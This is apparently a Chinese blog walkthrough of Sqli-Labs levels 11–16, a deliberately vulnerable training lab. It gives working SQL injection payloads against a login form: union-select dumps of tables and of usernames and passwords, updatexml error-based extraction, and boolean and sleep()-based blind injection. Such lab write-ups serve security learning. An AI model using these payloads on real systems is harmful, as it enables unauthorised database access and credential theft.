Sqli-Labs靶场(11–16)题解析

  • Post author:
  • Post category:其他



目录


十一、Less-11:POST – Error Based – Single quotes – string(POST – 基于错误 – 单引号 – 字符串)


十二、Less-12:POST – Error Based – Double quotes – String – with twist(POST – 基于错误 – 双引号 – 字符串 – 括号)


十三、Less-13:POST – Double Injection – Single quotes – String – with twist(POST – 双查询注入 – 单引号 – 字符串 – 括号)


十四、Less-14:POST – Double Injection – Double quotes – String -(POST – 双查询注入 – 双引号 – 字符串)


十五、POST – Blind – Boolian/time Based – Single quotes(POST – 盲注 – 基于布尔/延时 – 单引号)


十六、POST – Blind – Boolian/time Based – Double quotes(POST – 盲注 – 基于布尔/延时 – 双引号)


十一、Less-11:POST – Error Based – Single quotes – string(POST – 基于错误 – 单引号 – 字符串)

做此题前先复习一个语句:

select username,password from users where username=’ ‘ and password=’ ‘

如果想在不知道数据库账号密码的情况下获取users用户的username,password

可以使用aaa’ or 1=1– +让原本的语句变成:

select username,password from users where username=’aaa’ or 1=1– +’ and password=’ ‘

— +讲后面的语句全部注释掉,由于or的存在,只需满足1=1为真

即可使整条语句在没有输入正确账号密码的情况下输出username,password

  • 判断注入点

在账号栏密码栏尝试输入admin,admin,页面回显正常

在账号栏密码栏尝试输入admin’,admin,页面回显不正常

只在账号栏输入:admin’ or 1=1– +,页面回显正常

得出结论->注入点为’

  • 确认列数并进行查询

输入:admin’ order by x– +,当x=2时,页面回显正常

得出结论->列数为2

输入:-admin’ union select 1,2– +

得出结论->页面有1,2两个显示位

  • 爆破当前数据库名与数据库下表名

输入:-admin’ union select database(),2– +

得出结论->当前数据库名为’security’

输入:-admin’ union select database(),(select group_concat(table_name) from information_schema.tables where table_schema=’security’)– +

得出结论->’security’数据库下存在’emails’,’referers’,’uagent’,’users’表

以上,后面步骤跟Less1解题步骤大致相同,不在详细展示

输入:-admin’ union select database(),(select group_concat(column_name) from information_schema.columns where table_name=’users’)– +得到’users’表所有字段信息

输入:-admin’ union select group_concat(username),group_concat(password) from users– +得到’username’,’password’字段详细内容

十二、Less-12:POST – Error Based – Double quotes – String – with twist(POST – 基于错误 – 双引号 – 字符串 – 括号)

  • 判断注入点

在账号栏密码栏尝试输入admin,admin,页面回显正常

在账号栏密码栏尝试输入admin’,admin,页面回显不正常

只在账号栏输入:admin’ or 1=1– +,页面回显不正常

得出结论->注入点类型非’

在账号栏密码栏尝试输入admin”,admin,页面回显不正常

不过根据下方提示继续构造语句admin”)– +,页面回显正常

以上,只需将admin’更改为admin”),后面步骤跟Less11解题步骤相同,不在详细叙述

十三、Less-13:POST – Double Injection – Single quotes – String – with twist(POST – 双查询注入 – 单引号 – 字符串 – 括号)

  • 判断注入点

有了上一题的经验,这次我们直接输入:admin’ or 1=1– +,页面回显不正常

根据提示,我们再次输入admin’) or 1=1– + ,页面回显正常

  • updatexml报错

进入后,我们发现没有回显内容,由此联想到此题和Less-5解题方式差不多,Less-5我们使用了group by重复报错,这里我们使用一个新的方式–updatexml报错

输入:admin’) and updatexml(1,concat(0x7e,(database())),1)– +,我们可以得到当前数据库名为’security’

输入:admin’) and updatexml(1,concat(0x7e,((select table_name from information_schema.tables where table_schema=database() limit x,1))),1)– + ,依次更改limit x,1的x值,可以得到’security’数据库下所有表名:’emails’,’referers’,’uagents’,’users’

输入:admin’) and updatexml(1,concat(0x7e,((select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit x,1))),1)– + ,依次更改limit x,1的x值,可以得到’users’表下所有字段名:’id’,’username’,’password’

输入:admin’) and updatexml(1,concat(0x7e,(select concat(username,’~’,password) from security.users limit x,1)),1)– + ,依次更改limit x,1的x值,可以得到’username’,’password’内所有内容\

十四、Less-14:POST – Double Injection – Double quotes – String -(POST – 双查询注入 – 双引号 – 字符串)

此题与Less-13类似,只需将Less-13的注入语句admin’) or 1=1– +更改为admin” or 1=1– +即可

十五、POST – Blind – Boolian/time Based – Single quotes(POST – 盲注 – 基于布尔/延时 – 单引号)

十六、POST – Blind – Boolian/time Based – Double quotes(POST – 盲注 – 基于布尔/延时 – 双引号)

Less-15和Less-16一起讲,他们俩差别不大,Less-16只需将Less-15用到的’修改成”即可

这两题都有两种解法,一种是布尔盲注,一种是延时注入,这里以Less-15为例

  • 布尔盲注

输入:admin’ and length((select database()))=8– +,判断当前数据库长度

输入:admin’ and ascii(substr(database(),1,1))=115– +,依次修改第一个’1’的值,使用burp爆破得数据库名’security’

输入:admin’ and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101– +,继续使用burp爆破,得出表名为:’emails’,’referers’,’uagents’,’users’

输入:admin’ and ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1))=115– +,继续使用burp爆破,得出’users’表下存在字段名:’id’,’username’,’password’

  • 延时注入

跟布尔盲注差不多,只需修改一下语句

输入:admin’ and if(length(database())=8,sleep(3),1)– +,当感觉到页面有明显的3s延时,说明当前数据库长度为8,其他语句大家自行修改,不在阐述



版权声明:本文为weixin_46099095原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。